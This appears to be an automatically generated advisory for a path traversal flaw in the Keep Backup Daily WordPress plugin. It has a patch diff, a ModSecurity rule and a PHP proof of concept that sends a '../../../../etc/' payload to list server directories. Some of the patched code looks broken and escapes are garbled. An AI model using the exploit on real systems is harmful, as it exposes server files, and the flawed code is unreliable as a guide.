Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-3339: Keep Backup Daily <= 2.1.1 – Authenticated (Admin+) Limited Path Traversal via 'kbd_path' Parameter (keep-backup-daily)

CVE ID CVE-2026-3339
Severity Low (CVSS 2.7)
CWE 22
Vulnerable Version 2.1.1
Patched Version 2.1.3
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3339:
This vulnerability is an authenticated limited path traversal in the Keep Backup Daily WordPress plugin affecting versions up to and including 2.1.1. The vulnerability allows attackers with Administrator-level access to list directory contents outside the intended uploads directory via insufficient input validation in an AJAX handler.

Root Cause: The vulnerability exists in the `kbd_open_upload_dir` AJAX action handler within the `keep-backup-daily/inc/functions.php` file. The `kbd_path` POST parameter receives only `sanitize_text_field()` sanitization, which does not strip directory traversal sequences like `../`. The vulnerable code path begins at line 871 where `$_POST[‘kbd_path’]` is processed, sanitized with `sanitize_kbd_data()` (which internally calls `sanitize_text_field()`), and then passed directly to `kbd_get_dir_list_html()` without path validation.

Exploitation: An authenticated attacker with Administrator privileges sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to `kbd_open_upload_dir`. The request includes a `kbd_path` parameter containing directory traversal sequences, such as `../../../etc/`. The plugin processes this parameter and returns directory listings from arbitrary server locations, bypassing the intended restriction to the WordPress uploads directory.

Patch Analysis: The patch adds path validation between lines 843-849 in `functions.php`. It computes the real path of the user-supplied `kbd_path` using `realpath()` and compares it against the allowed uploads directory (`WP_CONTENT_DIR . ‘/uploads’`). The validation ensures the resolved path starts with the allowed directory prefix using `strpos($real_path, $allowed_directory) === 0`. If validation fails, the function returns a JSON error instead of processing the request.

Impact: Successful exploitation allows authenticated administrators to enumerate directory contents anywhere on the server filesystem where the web process has read permissions. This can expose sensitive configuration files, source code, database credentials, or other protected data. While limited to administrator users, this represents an information disclosure vulnerability that could facilitate further attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/keep-backup-daily/inc/functions.php
+++ b/keep-backup-daily/inc/functions.php
@@ -26,49 +26,19 @@
 		return (isset($kbd_backup_aliases[$key])?$kbd_backup_aliases[$key]:$key);
 	}

-	if(!function_exists('kbd_encrypt')){
-
-
-		function kbd_encrypt($decrypted, $password, $salt=''){
-
-
-		 // Build a 256-bit $key which is a SHA256 hash of $salt and $password.
-
-
-		 $key = hash('SHA256', $salt . $password, true);
-
-
-		 // Build $iv and $iv_base64.  We use a block size of 128 bits (AES compliant) and CBC mode.  (Note: ECB mode is inadequate as IV is not used.)
-
-
-		 srand();
-
-
-                 if(function_exists('mcrypt_create_iv'))
-                 $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC), MCRYPT_RAND);
-                 else
-                 $iv = '鶵�^)W�D';
-
-
-		 if (strlen($iv_base64 = rtrim(base64_encode($iv), '=')) != 22) return false;
-
-
-		 // Encrypt $decrypted and an MD5 of $decrypted using $key.  MD5 is fine to use here because it's just to verify successful decryption.
-
-
-		 $encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $decrypted . md5($decrypted), MCRYPT_MODE_CBC, $iv));
-
-
-		 // We're done!
-
-
-		 return $iv_base64 . $encrypted;
-
-
-		 }
-
-
+	function kbd_encrypt($decrypted, $password, $salt = '') {
+		$key = hash('sha256', $salt . $password, true);
+		$iv_length = openssl_cipher_iv_length('aes-256-cbc');
+		$iv = random_bytes($iv_length);
+
+		$encrypted = openssl_encrypt($decrypted . md5($decrypted), 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
+		$iv_base64 = rtrim(base64_encode($iv), '=');
+
+		$hmac = hash_hmac('sha256', $encrypted, $key, true);
+		return $iv_base64 . ':' . base64_encode($encrypted) . ':' . base64_encode($hmac);
+
 	}
+
 	//FOR QUICK DEBUGGING


@@ -325,26 +295,17 @@

 		wp_localize_jquery_ui_datepicker();
 	}
-
-	if(!function_exists('init_sessions')){
-
-
-		function init_sessions(){
-
-
-			if (!session_id()){
-
-				ob_start();
-				@session_start();
-
-
+
+	if (!function_exists('init_sessions')) {
+		function init_sessions() {
+			// Only start session in admin or frontend AJAX requests
+			if (session_status() === PHP_SESSION_NONE && (is_admin() || defined('DOING_AJAX'))) {
+				session_start();
 			}
-
-
 		}
+	}


-	}

 	if(!function_exists('load_kbd_settings')){

@@ -486,9 +447,10 @@


 				if ( is_wp_error( $response ) ) {
-				   $error_message = $response->get_error_message();
-				  echo __("Something went wrong",'wpkbd').": $error_message";
+					$error_message = $response->get_error_message();
+					echo __("Something went wrong",'wpkbd').": $error_message";
 				} else {
+					$body = wp_remote_retrieve_body($response);
 				   //$response['body'];
 				}

@@ -616,6 +578,9 @@
 	add_action( 'wp_ajax_update_kbd_bkup_alias', 'update_kbd_bkup_alias' );

 	function update_kbd_bkup_alias() {
+		if ( ! current_user_can('manage_options') ) {
+			wp_send_json_error('Insufficient permissions.');
+		}
 		global $wpdb, $kbd_backup_aliases, $kbd_db_prefix; // this is how you get access to the database

 		if(isset($_POST['key']) && $_POST['key']!='' && isset($_POST['val']) && $_POST['val']!=''){
@@ -718,11 +683,12 @@
 	if ( !function_exists( 'kbd_unserialize_replace' ) ) {
 		function kbd_unserialize_replace( $from = '', $to = '', $data = '', $serialised = false ) {
 			try {
-				if ( false !== is_serialized( $data ) ) {
-					$unserialized = unserialize( $data );
-					$data = kbd_unserialize_replace( $from, $to, $unserialized, true );
-				}
-				elseif ( is_array( $data ) ) {
+				if ( file_exists($file) && $data = file_get_contents($file) ) {
+					$unserialized = @unserialize($data);
+					if ($unserialized !== false) {
+						$data = kbd_unserialize_replace($from, $to, $unserialized, true);
+					}
+				}elseif ( is_array( $data ) ) {
 					$_tmp = array( );
 					foreach ( $data as $key => $value ) {
 						$_tmp[ $key ] = kbd_unserialize_replace( $from, $to, $value, false );
@@ -871,6 +837,13 @@
 					$kbd_path = sanitize_kbd_data($_POST['kbd_path']);
 					$kbd_path= str_replace('\', '/', $kbd_path);
 					$kbd_path= str_replace('\', '/', $kbd_path);
+
+					$allowed_directory = realpath(WP_CONTENT_DIR . '/uploads');
+					$real_path = realpath($kbd_path);
+
+					if ($real_path === false || strpos($real_path, $allowed_directory) !== 0) {
+						wp_send_json_error('Invalid directory path.');
+					}

 					kbd_get_dir_list_html($kbd_path, 'sub');

@@ -946,7 +919,7 @@

 				if(!isset($_POST['kbd_nonce_field']) || !wp_verify_nonce($_POST['kbd_nonce_field'], 'kbd_nonce_action')){

-					print __('Sorry, your nonce did not verify.','wpkbd');
+					wp_send_json_error(__('Nonce verification failed','wpkbd'));
 					exit;
 				}else{
 					$kbd_export_dir_selection = (isset($_POST['kbd_export_dir_selection']) ? sanitize_kbd_data($_POST['kbd_export_dir_selection']) : array());
--- a/keep-backup-daily/inc/kbd_cron.php
+++ b/keep-backup-daily/inc/kbd_cron.php
@@ -279,8 +279,8 @@
 						$stats = $db_size;

 						echo '<li>';
-						echo '<input type="text" value="'.$title.'" />';
-						echo '<a title="'.__('Click here to edit this title','wpkbd').'" class="kbd-bkup-title" data-key="'.$name.'">'.$title.'</a>';
+						echo '<input type="text" value="' . esc_attr($title) . '" />';
+						echo '<a title="' . esc_attr(__('Click here to edit this title','wpkbd')) . '" class="kbd-bkup-title" data-key="' . esc_attr($name) . '">' . esc_html($title) . '</a>';
 						echo '<a style="margin-left:100px; font-size:12px; color:blue;" href="'.$file.'" >'.__('Download','wpkbd').'</a>';
 						echo '<a style="margin-left:100px; font-size:12px; color:red;" href="'.$file.'&rm">'.__('Delete','wpkbd').'</a>';
 						echo '<span style="margin-left:100px">'.($b == 1 ? '[LATEST] ' : '').$stats.'</span>';
@@ -502,8 +502,8 @@
 				$stats = $db_size;

 				echo '<li>';
-				echo '<input type="text" value="'.$title.'" />';
-				echo '<a title="'.__('Click here to edit this title','wpkbd').'" class="kbd-bkup-title" data-key="'.$name.'">'.$title.'</a>';
+				echo '<input type="text" value="' . esc_attr($title) . '" />';
+				echo '<a title="' . esc_attr(__('Click here to edit this title','wpkbd')) . '" class="kbd-bkup-title" data-key="' . esc_attr($name) . '">' . esc_html($title) . '</a>';
 				echo '<a style="margin-left:100px; font-size:12px; color:blue;" href="'.$file.'" >'.__('Download','wpkbd').'</a>';
 				echo '<a class="kbd_del_backup" style="margin-left:100px; font-size:12px; color:red;" href="'.$file.'&rm">'.__('Delete','wpkbd').'</a>';
 				echo '<span style="margin-left:100px">'.($b == 1 ? '[LATEST] ' : '').$stats.'</span>';
--- a/keep-backup-daily/index.php
+++ b/keep-backup-daily/index.php
@@ -3,7 +3,7 @@
 Plugin Name: Keep Backup Daily
 Plugin URI: http://androidbubble.com/blog/website-development/php-frameworks/wordpress/plugins/wordpress-plugin-keep-backup-daily/1046
 Description: This plugin will backup the mysql tables and email to a specified email address daily, weekly, monthly or even yearly.
-Version: 2.1.1
+Version: 2.1.3
 Author: Fahad Mahmood
 Author URI: https://www.androidbubbles.com
 Text Domain: wpkbd
@@ -98,7 +98,7 @@
 	//KBD END WILL REMOVE .DAT FILES
 	register_deactivation_hook(__FILE__, 'kbd_end' );

-	add_action('init', 'init_sessions');
+	add_action('init', 'init_sessions', 1);

 	add_action( 'admin_menu', 'kbd_menu' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3339
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1003339,phase:2,deny,status:403,chain,msg:'CVE-2026-3339: Keep Backup Daily Path Traversal via kbd_open_upload_dir',severity:'MEDIUM',tag:'CVE-2026-3339',tag:'WordPress',tag:'Plugin',tag:'Keep-Backup-Daily',tag:'Path-Traversal'"
  SecRule ARGS_POST:action "@streq kbd_open_upload_dir" "chain"
    SecRule ARGS_POST:kbd_path "@rx (?i)(?:\.\.(?:%2f|%5c|/|\\)|%2e%2e(?:%2f|%5c)|\x2e\x2e(?:\x2f|\x5c))" 
      "t:none,t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3339 - Keep Backup Daily <= 2.1.1 - Authenticated (Admin+) Limited Path Traversal via 'kbd_path' Parameter

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$admin_cookie = 'wordpress_logged_in_cookie=YOUR_SESSION_COOKIE_HERE';

// Prepare the POST data for the vulnerable AJAX action
$post_data = array(
    'action' => 'kbd_open_upload_dir',
    'kbd_path' => '../../../../etc/',  // Directory traversal payload
    'kbd_nonce_field' => 'NONCE_VALUE_HERE'  // Nonce required for the request
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch);
} else {
    echo "HTTP Status: $http_coden";
    echo "Response:n$responsen";
    
    // The vulnerable plugin returns directory listings as HTML
    // Successful exploitation will show contents of /etc/ directory
    if (strpos($response, '<li') !== false && strpos($response, 'kbd-dir-list') !== false) {
        echo "[SUCCESS] Directory traversal successful. Directory contents retrieved.n";
    } else if (strpos($response, 'Invalid directory path') !== false) {
        echo "[PATCHED] Path validation prevents traversal.n";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School